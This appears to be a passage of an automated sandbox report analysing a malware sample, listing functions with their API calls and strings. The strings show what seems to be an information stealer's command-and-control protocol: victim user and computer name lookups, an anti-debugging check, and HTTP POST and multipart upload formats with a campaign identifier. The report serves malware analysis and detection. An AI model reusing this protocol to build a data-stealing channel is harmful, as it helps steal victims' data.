Opcode Fuzzy Hash: 5298aefd747de69d89c564daf7e685768ad1d614aa8e1640a694b9b267fc1d83
Instruction Fuzzy Hash: 7AD246B6A23225CFC790CF68EC91A4277E1F74831871A453AD95CE7321E774A9818FC8

Uniqueness

Uniqueness Score: -1.00%

Function 00446DA0 Relevance: 6.2, APIs: 4, Instructions: 207COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(D7768E16), ref: 0044700E
GetSystemMetrics.USER32 ref: 00447020
CreateDCW.GDI32 ref: 00447067

Part of subcall function 00446D30: CreateCompatibleDC.GDI32(?), ref: 00446D39
Part of subcall function 00446D30: CreateCompatibleBitmap.GDI32(?,?,?), ref: 00446D4A
Part of subcall function 00446D30: SelectObject.GDI32(00000000,00000000), ref: 00446D54
Part of subcall function 00446D30: BitBlt.GDI32(00000000,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 00446D73
Part of subcall function 00446D30: SelectObject.GDI32(00000000,00000000), ref: 00446D7B
Part of subcall function 00446D30: DeleteDC.GDI32(00000000), ref: 00446D82
Part of subcall function 00446D30: DeleteObject.GDI32(00000000), ref: 00446D89

DeleteDC.GDI32 ref: 0044709B

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: CreateDeleteObject$CompatibleMetricsSelectSystem$Bitmap
String ID:
API String ID: 3009896920-0
Opcode ID: e4be7e45b2e20e2577fb87d4f3ca3c318813a349b2244f61757dd6921d82377b
Instruction ID: fb8ef38e7699d1ac3b4e1692c436b4c765253ad8ce6581d49b0ddd02138aae34
Opcode Fuzzy Hash: e4be7e45b2e20e2577fb87d4f3ca3c318813a349b2244f61757dd6921d82377b
Instruction Fuzzy Hash: 1A6153BA42465BABD310BF3CD8502E77BA2EF26711B604234B5858B3B4F37505558B4E

Uniqueness

Uniqueness Score: -1.00%

Function 0044BD45 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 0044BD51
IsDebuggerPresent.KERNEL32 ref: 0044BE1D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0044BE36
UnhandledExceptionFilter.KERNEL32(?), ref: 0044BE40

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 58ef7906a4a04d8e5b7f0963dc2530ccb084cd2113d65f40cc5bc66ea3f9cc5b
Instruction ID: 4a5d33d7ad6cac98837ddce632fbc8e03fd51dba802fbcc4a4ef64427eb349b9
Opcode Fuzzy Hash: 58ef7906a4a04d8e5b7f0963dc2530ccb084cd2113d65f40cc5bc66ea3f9cc5b
Instruction Fuzzy Hash: 9D31FC75D052189BEF21DF65D9897CDBBB8EF04704F1041EAE50CA7250EB749A848F49

Uniqueness

Uniqueness Score: -1.00%

Function 00453FA0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 450COMMON

Download Yara Rule

Strings

;fE, xrefs: 004543B4, 0045422C, 004540E4

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID:
String ID: ;fE
API String ID: 0-3798903389
Opcode ID: 88c75d01dcdb560f699bb95d2432b3685535d1ca8ca7af29cab389825cb04a67
Instruction ID: 9b44cbff194a2e2df8d327434b0f7312c9b2cfd91c008becb9dc78c1bda3ae10
Opcode Fuzzy Hash: 88c75d01dcdb560f699bb95d2432b3685535d1ca8ca7af29cab389825cb04a67
Instruction Fuzzy Hash: 7DF18171E002199FDF14CFA9C8806AEB7B1FF88319F15826EE819AB341D7349E45CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0042BC60 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 397COMMON

Download Yara Rule

Strings

K, xrefs: 0042BDFF
P, xrefs: 0042BDFA

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: _free
String ID: K$P
API String ID: 269201875-420285281
Opcode ID: f1a796a93c784692e43d8f31bd207b9b1ca380815a1111d9601a2ea262cf6978
Instruction ID: 21865420b7e739ab8555239c22c987881ee0333250620bca6afc170c2645d0d7
Opcode Fuzzy Hash: f1a796a93c784692e43d8f31bd207b9b1ca380815a1111d9601a2ea262cf6978
Instruction Fuzzy Hash: FA024974608390CFC364CF68D480B9EBBE1BF89310F558A5EE9A987392D7789845CB47

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 0040129C

Strings

UUUU, xrefs: 00401059
UUUU, xrefs: 0040105E

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: UUUU$UUUU
API String ID: 621844428-2425103364
Opcode ID: 1d616a7b49d38a3ec50f519bc23cc488eb96b2984473421590b6cd84adc4e134
Instruction ID: f75404a4e65a18c9cb4c2eb1b12ec3bf0ade9ffaa1d37f09714853cd906d4903
Opcode Fuzzy Hash: 1d616a7b49d38a3ec50f519bc23cc488eb96b2984473421590b6cd84adc4e134
Instruction Fuzzy Hash: 9B71E673F141118BCB0C9D78C95266ABAD667C5374F19C33FB8A6EB3E4D938C8814646

Uniqueness

Uniqueness Score: -1.00%

Function 004066D0 Relevance: 5.2, APIs: 3, Instructions: 668libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 004070EB
GetProcAddress.KERNEL32(00000000), ref: 00407120
ExitProcess.KERNEL32 ref: 004071A4

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: AddressExitLibraryLoadProcProcess
String ID:
API String ID: 881411216-0
Opcode ID: 909119c4fc1ba46b8aede7e006ddb483a2340bbf1b69cdeffd7c0c801290047b
Instruction ID: b91332cb047fa53e940525a9ef4da7baa1674eecaf273b2f7162a4f81b7fd2ce
Opcode Fuzzy Hash: 909119c4fc1ba46b8aede7e006ddb483a2340bbf1b69cdeffd7c0c801290047b
Instruction Fuzzy Hash: 0F529F26256640CBE708CF75EC556B237A0EB19301B4455BEE84DCB2F2EB2C99C6C71D

Uniqueness

Uniqueness Score: -1.00%

Function 0045CCE1 Relevance: 4.7, APIs: 3, Instructions: 166fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0045B525: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00458551,00000001,00000364,00000006,000000FF,?,?,?,004522AE,00459318), ref: 0045B566

_free.LIBCMT ref: 0045CD68
_free.LIBCMT ref: 0045CD7D
FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0045CE30
FindNextFileW.KERNEL32(00000000,?), ref: 0045CEAE
FindClose.KERNEL32(00000000), ref: 0045CEF0

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: Find$File_free$AllocateCloseFirstHeapNext
String ID:
API String ID: 1826900436-0
Opcode ID: a250381b4d568d2a9acdba11bd9f3f3b3e4198e4c9fd9da33c5762a4aadd777a
Instruction ID: 5ab07888e0dc3963df98945ca66d86c31541a39a9b37b28fa28f6fcefc091ccc
Opcode Fuzzy Hash: a250381b4d568d2a9acdba11bd9f3f3b3e4198e4c9fd9da33c5762a4aadd777a
Instruction Fuzzy Hash: C341F672600305AFD7209E6ACCC5DAB77B9DBC5316F14446EFC06D7243EA389D09C6A8

Uniqueness

Uniqueness Score: -1.00%

Function 0045CD95 Relevance: 4.6, APIs: 3, Instructions: 132fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0045CE30
FindNextFileW.KERNEL32(00000000,?), ref: 0045CEAE
FindClose.KERNEL32(00000000), ref: 0045CEF0

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 72e57db62602f9fd5c8e5feb7cf5c21af642643aab8315e73824e7423684787b
Instruction ID: bbc61f96de3819bf1fc52024cd5d200365a6c7918a113bb142abbf954809d52d
Opcode Fuzzy Hash: 72e57db62602f9fd5c8e5feb7cf5c21af642643aab8315e73824e7423684787b
Instruction Fuzzy Hash: CE41AB72900315AFDB30DF65CCC9DAB7779EB85705F04419AEC05D7282EA389E48CA58

Uniqueness

Uniqueness Score: -1.00%

Function 004432A0 Relevance: 4.6, APIs: 3, Instructions: 70encryptionCOMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 004432B4
CryptStringToBinaryA.CRYPT32 ref: 004432F6
CryptStringToBinaryA.CRYPT32 ref: 00443371

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: BinaryCryptString$_strlen
String ID:
API String ID: 1460654939-0
Opcode ID: 91a1a55f798979d69fab52fca8022ebc99f343cd7dfd1a0585a9a222ccd37796
Instruction ID: fdaf4f2312c507cc36aa1f48c59f25702b51274429dcad6bc2a2ba24d2e15e04
Opcode Fuzzy Hash: 91a1a55f798979d69fab52fca8022ebc99f343cd7dfd1a0585a9a222ccd37796
Instruction Fuzzy Hash: 9C316CB45083019FD700DF29C18871AFBE0BF88709F10895EF89897351D7B99A898F97

Uniqueness

Uniqueness Score: -1.00%

Function 0045158B Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,00451662,?,?,&7E,?,00453726), ref: 004515AD
TerminateProcess.KERNEL32(00000000,?,00451662,?,?,&7E,?,00453726), ref: 004515B4
ExitProcess.KERNEL32 ref: 004515C6

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: ee0ab9cc9669d9f9ee522a754d9bf425556a54f5e5e9b4f7a92c808596276e0b
Instruction ID: e15c20a7d75efc68d40625b8172a507a2faf59b6f873a9478402ab5768d52916
Opcode Fuzzy Hash: ee0ab9cc9669d9f9ee522a754d9bf425556a54f5e5e9b4f7a92c808596276e0b
Instruction Fuzzy Hash: 52E0463100010CABCB122F16DC08A493BAAEB82346B004029FC068A232EB79DD42DA8A

Uniqueness

Uniqueness Score: -1.00%

Function 0044B410 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 55stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32 ref: 0044B498

Strings

kernel32.dll, xrefs: 0044B48B

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID: kernel32.dll
API String ID: 1586166983-1793498882
Opcode ID: ed90708348f80fc76d9dfc59a0bbb0da48ff4158528146f2238ee59ec496648b
Instruction ID: f300b3dd529c1451e1f6b3c3945c9dc04c826d2a50618ce4570ed6ac801428c8
Opcode Fuzzy Hash: ed90708348f80fc76d9dfc59a0bbb0da48ff4158528146f2238ee59ec496648b
Instruction Fuzzy Hash: 9D21A274608302DFD708CF18C484A1ABBE1FB88354F10896EE98AC7361D778D885DB8B

Uniqueness

Uniqueness Score: -1.00%

Function 00401810 Relevance: 3.0, APIs: 2, Instructions: 44COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 0040181E
___from_strstr_to_strchr.LIBCMT ref: 00401852

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: ___from_strstr_to_strchr
String ID:
API String ID: 601868998-0
Opcode ID: a4870f891c9ea527bdf374a11f2349042efc06b81c0d25992043c56ea0fa0f4a
Instruction ID: 8c0bb9895e45958136e3ad3161804df54dbb40f19d12944edd4bbe8915aef985
Opcode Fuzzy Hash: a4870f891c9ea527bdf374a11f2349042efc06b81c0d25992043c56ea0fa0f4a
Instruction Fuzzy Hash: 30F0E2D6F1024023DA1068776C46D2B549D8BDA799F08043EF800F73D2F968DD0542BA

Uniqueness

Uniqueness Score: -1.00%

Function 00401370 Relevance: 3.0, APIs: 2, Instructions: 42COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32 ref: 00401390
GetComputerNameW.KERNEL32 ref: 004013D6

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: Name$ComputerUser
String ID:
API String ID: 4229901323-0
Opcode ID: 9133728f283215a3140aef3e281108e08244801c888a85e67dd481cc0fddef7a
Instruction ID: cc77981e99e9437f3849396f31df8ae4dfe0f0399db09d4badf4a7755daee6b6
Opcode Fuzzy Hash: 9133728f283215a3140aef3e281108e08244801c888a85e67dd481cc0fddef7a
Instruction Fuzzy Hash: C111C2744083169FC720EF65C4885AEBBE0BB94355F408C3EE4D9962A0E77880899F4B

Uniqueness

Uniqueness Score: -1.00%

Function 0044BF58 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0044BF6E

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 19699767c55a253c1c999fba37453c2e5b44e7b44f5a89364b003acabb336621
Instruction ID: 45fcba8f380f9f1dd03ae40bdb79fc88626e26c10e64393ec6f360b9454c5b54
Opcode Fuzzy Hash: 19699767c55a253c1c999fba37453c2e5b44e7b44f5a89364b003acabb336621
Instruction Fuzzy Hash: 045170B5A02215CBEB64CF94D8C17AAF7F0FB44701F18816AC409EB351D379A980CF58

Uniqueness

Uniqueness Score: -1.00%

Function 0045B265 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e434e0caf98bc36e91ba7b5dffe88e5fcc88f05996503ad22fb53b076b1acbd2
Instruction ID: 78b5399a3addcd2fe54a29847b030f6aff2156139db5052e88e62e80a2812da0
Opcode Fuzzy Hash: e434e0caf98bc36e91ba7b5dffe88e5fcc88f05996503ad22fb53b076b1acbd2
Instruction Fuzzy Hash: 3DE08C32911228EBCB14DB8AD908D8EF3ECEB44B56F1100ABB901E3202C674DE04C7E4

Uniqueness

Uniqueness Score: -1.00%

Function 00402B40 Relevance: 44.2, APIs: 18, Strings: 7, Instructions: 433stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32 ref: 00402B7A
lstrcatW.KERNEL32 ref: 00402B94
lstrcatW.KERNEL32 ref: 00402BAC
lstrcatW.KERNEL32 ref: 00402BFE
lstrcatW.KERNEL32 ref: 00402C18
lstrcatW.KERNEL32 ref: 00402C33
lstrcatW.KERNEL32 ref: 00402C4D
lstrcatW.KERNEL32 ref: 00402C65
_strlen.LIBCMT ref: 00402DFC
_strlen.LIBCMT ref: 00402E0C
_mbstowcs.LIBCMT ref: 00402E9D
_mbstowcs.LIBCMT ref: 00402EC7
lstrcatW.KERNEL32 ref: 004030CD
lstrcatW.KERNEL32 ref: 004030F7
lstrcatW.KERNEL32 ref: 00403135
lstrcatW.KERNEL32 ref: 0040314F
lstrcatW.KERNEL32 ref: 0040316A
lstrcatW.KERNEL32 ref: 00403194

Strings

6cdb83d922bef7ae03a9e8852fb4ecb205bef0, xrefs: 00403069
362f0ee17a406988580f4a80424e2ea7595d2ea0554c6194585b, xrefs: 00402FBB
bae785b2ed82e792fe86f1d3, xrefs: 0040302F
f423d2eaa86fbd89954ff2b9804ca08b93468e869155b7869041, xrefs: 004030D6
22fe32036e91556a4cde7662569f, xrefs: 00402F81
e4154e92ac7c3de68b6737, xrefs: 00402F47, 00402FF5
d1ec3fb8feae4dd7a69f5aca95ae, xrefs: 00403173

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: lstrcat$_mbstowcs_strlen
String ID: 22fe32036e91556a4cde7662569f$362f0ee17a406988580f4a80424e2ea7595d2ea0554c6194585b$6cdb83d922bef7ae03a9e8852fb4ecb205bef0$bae785b2ed82e792fe86f1d3$d1ec3fb8feae4dd7a69f5aca95ae$e4154e92ac7c3de68b6737$f423d2eaa86fbd89954ff2b9804ca08b93468e869155b7869041
API String ID: 731292619-1602796456
Opcode ID: cf354cde003abdc3f9fcb6acd2b3d35f5c2815f1c284a6bd3d41d37d8c6df4fb
Instruction ID: 398cbb03ae68249f5acbe40e09d2c1f6346833f3af03b128980b5b21887ca5ff
Opcode Fuzzy Hash: cf354cde003abdc3f9fcb6acd2b3d35f5c2815f1c284a6bd3d41d37d8c6df4fb
Instruction Fuzzy Hash: 2812AAB49087419FC704EF29D19991EBBE0BF88708F118D2EF89997391E778D9448B4B

Uniqueness

Uniqueness Score: -1.00%

Function 0044A800 Relevance: 42.3, APIs: 15, Strings: 9, Instructions: 273COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0044A82F
WinHttpOpen.WINHTTP ref: 0044A8C3
WinHttpConnect.WINHTTP ref: 0044A8F8
WinHttpOpenRequest.WINHTTP ref: 0044A949
wsprintfW.USER32 ref: 0044A9F8
WinHttpAddRequestHeaders.WINHTTP ref: 0044AA1D

Part of subcall function 004536D5: _free.LIBCMT ref: 004536E8

_strlen.LIBCMT ref: 0044AA43
_strlen.LIBCMT ref: 0044AA54
WinHttpSendRequest.WINHTTP ref: 0044AA8D
WinHttpReceiveResponse.WINHTTP ref: 0044AAB2
WinHttpQueryDataAvailable.WINHTTP ref: 0044AAEF
WinHttpReadData.WINHTTP ref: 0044AB9B
WinHttpCloseHandle.WINHTTP ref: 0044AC0C
WinHttpCloseHandle.WINHTTP ref: 0044AC2C
WinHttpCloseHandle.WINHTTP ref: 0044AC43

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36, xrefs: 0044A898
default, xrefs: 0044A994
act=recive_message&lid=%s&j=%s&ver=4.0, xrefs: 0044A988
Cookie: __cf_mw_byp=%hs, xrefs: 0044A9E7
P, xrefs: 0044A8E8
HpOoIh--@hydroshot, xrefs: 0044A98E
Content-Type: application/x-www-form-urlencoded, xrefs: 0044A956
/api, xrefs: 0044A916
POST, xrefs: 0044A910

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: Http$CloseHandleRequest_strlen$DataOpen$AvailableConnectHeadersQueryReadReceiveResponseSend_freewsprintf
String ID: /api$Content-Type: application/x-www-form-urlencoded$Cookie: __cf_mw_byp=%hs$HpOoIh--@hydroshot$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36$P$POST$act=recive_message&lid=%s&j=%s&ver=4.0$default
API String ID: 3249891312-2653125958
Opcode ID: 3d548acc43e1ad15d24b630af6c91d5da6534380d5a922c63d6ae2a49faa1aaf
Instruction ID: c663ef6de25b2c653a768e21fa1fac1430468559677e40746ccf0adf9828aa2b
Opcode Fuzzy Hash: 3d548acc43e1ad15d24b630af6c91d5da6534380d5a922c63d6ae2a49faa1aaf
Instruction Fuzzy Hash: 72D1C2B4408341DFE310EF29D58871ABBE0BB88319F10892EF49987350E7B89589CF4B

Uniqueness

Uniqueness Score: -1.00%

Function 0045C78B Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0045C7CF

Part of subcall function 0045C085: _free.LIBCMT ref: 0045C0A2
Part of subcall function 0045C085: _free.LIBCMT ref: 0045C0B4
Part of subcall function 0045C085: _free.LIBCMT ref: 0045C0C6
Part of subcall function 0045C085: _free.LIBCMT ref: 0045C0D8
Part of subcall function 0045C085: _free.LIBCMT ref: 0045C0EA
Part of subcall function 0045C085: _free.LIBCMT ref: 0045C0FC
Part of subcall function 0045C085: _free.LIBCMT ref: 0045C10E
Part of subcall function 0045C085: _free.LIBCMT ref: 0045C120
Part of subcall function 0045C085: _free.LIBCMT ref: 0045C132
Part of subcall function 0045C085: _free.LIBCMT ref: 0045C144
Part of subcall function 0045C085: _free.LIBCMT ref: 0045C156
Part of subcall function 0045C085: _free.LIBCMT ref: 0045C168
Part of subcall function 0045C085: _free.LIBCMT ref: 0045C17A

_free.LIBCMT ref: 0045C7C4

Part of subcall function 004592F2: RtlFreeHeap.NTDLL(00000000,00000000,?,004536ED,?), ref: 00459308
Part of subcall function 004592F2: GetLastError.KERNEL32(?,?,004536ED,?), ref: 0045931A

_free.LIBCMT ref: 0045C7E6
_free.LIBCMT ref: 0045C7FB
_free.LIBCMT ref: 0045C806
_free.LIBCMT ref: 0045C828
_free.LIBCMT ref: 0045C83B
_free.LIBCMT ref: 0045C849
_free.LIBCMT ref: 0045C854
_free.LIBCMT ref: 0045C88C
_free.LIBCMT ref: 0045C893
_free.LIBCMT ref: 0045C8B0
_free.LIBCMT ref: 0045C8C8

Strings

xBG, xrefs: 0045C7A1

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID: xBG
API String ID: 161543041-2404653390
Opcode ID: 0e5637e37cb43148b8b1c521ceb2852f26850d40b7d716cc0461e17b07915b36
Instruction ID: 27784b03502e591f4d64a56a554f7df5268d028f896bfa7e17c682f9f99afbd9
Opcode Fuzzy Hash: 0e5637e37cb43148b8b1c521ceb2852f26850d40b7d716cc0461e17b07915b36
Instruction Fuzzy Hash: B3313C31500301EEEB21AE79D886B5773E5AB41357F10886FF859D6653DF78EC88CA28

Uniqueness

Uniqueness Score: -1.00%

Function 00402D00 Relevance: 22.9, APIs: 6, Strings: 7, Instructions: 181stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32 ref: 004030CD
lstrcatW.KERNEL32 ref: 004030F7
lstrcatW.KERNEL32 ref: 00403135
lstrcatW.KERNEL32 ref: 0040314F
lstrcatW.KERNEL32 ref: 0040316A
lstrcatW.KERNEL32 ref: 00403194

Strings

6cdb83d922bef7ae03a9e8852fb4ecb205bef0, xrefs: 00403069
362f0ee17a406988580f4a80424e2ea7595d2ea0554c6194585b, xrefs: 00402FBB
bae785b2ed82e792fe86f1d3, xrefs: 0040302F
f423d2eaa86fbd89954ff2b9804ca08b93468e869155b7869041, xrefs: 004030D6
22fe32036e91556a4cde7662569f, xrefs: 00402F81
e4154e92ac7c3de68b6737, xrefs: 00402F47, 00402FF5
d1ec3fb8feae4dd7a69f5aca95ae, xrefs: 00403173

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: lstrcat
String ID: 22fe32036e91556a4cde7662569f$362f0ee17a406988580f4a80424e2ea7595d2ea0554c6194585b$6cdb83d922bef7ae03a9e8852fb4ecb205bef0$bae785b2ed82e792fe86f1d3$d1ec3fb8feae4dd7a69f5aca95ae$e4154e92ac7c3de68b6737$f423d2eaa86fbd89954ff2b9804ca08b93468e869155b7869041
API String ID: 4038537762-1602796456
Opcode ID: 5b39d6a6c8125b485e0d0efe0bf4ad81ca620c42582b3121a15f3cf7c2c38d76
Instruction ID: 80e622a21d0c5143b7e1c297552aad31f4a0d65a682ecc1d4f58f65aaadbc2b0
Opcode Fuzzy Hash: 5b39d6a6c8125b485e0d0efe0bf4ad81ca620c42582b3121a15f3cf7c2c38d76
Instruction Fuzzy Hash: F0916BB49087009FC704EF69D18991AFBF1AF89745F118D2EF9C887361E778E9448B4A

Uniqueness

Uniqueness Score: -1.00%

Function 0042DD40 Relevance: 22.9, APIs: 6, Strings: 7, Instructions: 125COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0042DD75
_strlen.LIBCMT ref: 0042DD89
_strlen.LIBCMT ref: 0042DDEA
_strlen.LIBCMT ref: 0042DDFE
_strlen.LIBCMT ref: 0042DE7D
_strlen.LIBCMT ref: 0042DE91

Strings

be85de5ipdocierre1, xrefs: 0042DD4D
Content-Disposition: form-data; name=", xrefs: 0042DD99
"; f, xrefs: 0042DDD2
ilen, xrefs: 0042DDCA
file, xrefs: 0042DDAE
ame=, xrefs: 0042DDC2
Content-Type: attachment/x-object, xrefs: 0042DE22

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: Content-Disposition: form-data; name="$"; f$Content-Type: attachment/x-object$ame=$be85de5ipdocierre1$file$ilen
API String ID: 4218353326-555925414
Opcode ID: 191a97c223be2d4226a103e9d5271d0f95aba0415cc61b8730dc984fdb6faa5a
Instruction ID: ab09f01091abd19f7cc87e0912c0d6a3740822f0b94067baef99e2b726b0f579
Opcode Fuzzy Hash: 191a97c223be2d4226a103e9d5271d0f95aba0415cc61b8730dc984fdb6faa5a
Instruction Fuzzy Hash: F04178B6500625AFD726DF08EC85E96B7E4FF1531CB094169E8099B30AF334B618CB57

Uniqueness

Uniqueness Score: -1.00%

Function 0042DEB0 Relevance: 17.8, APIs: 3, Strings: 7, Instructions: 313COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 0042E081
wsprintfW.USER32 ref: 0042E110
WinHttpAddRequestHeaders.WINHTTP ref: 0042E13A

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36, xrefs: 0042DF26
be85de5ipdocierre1, xrefs: 0042E06D
Cookie: __cf_mw_byp=%hs, xrefs: 0042E0FC
winhttp.dll, xrefs: 0042DF0A, 0042DF58, 0042DF9E, 0042E004, 0042E08A, 0042E152, 0042E1BC, 0042E20D, 0042E26D, 0042E2A2, 0042E2D2
Content-Type: multipart/form-data; boundary=%s, xrefs: 0042E067
P, xrefs: 0042DF87
POST, xrefs: 0042DFC1

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: wsprintf$HeadersHttpRequest
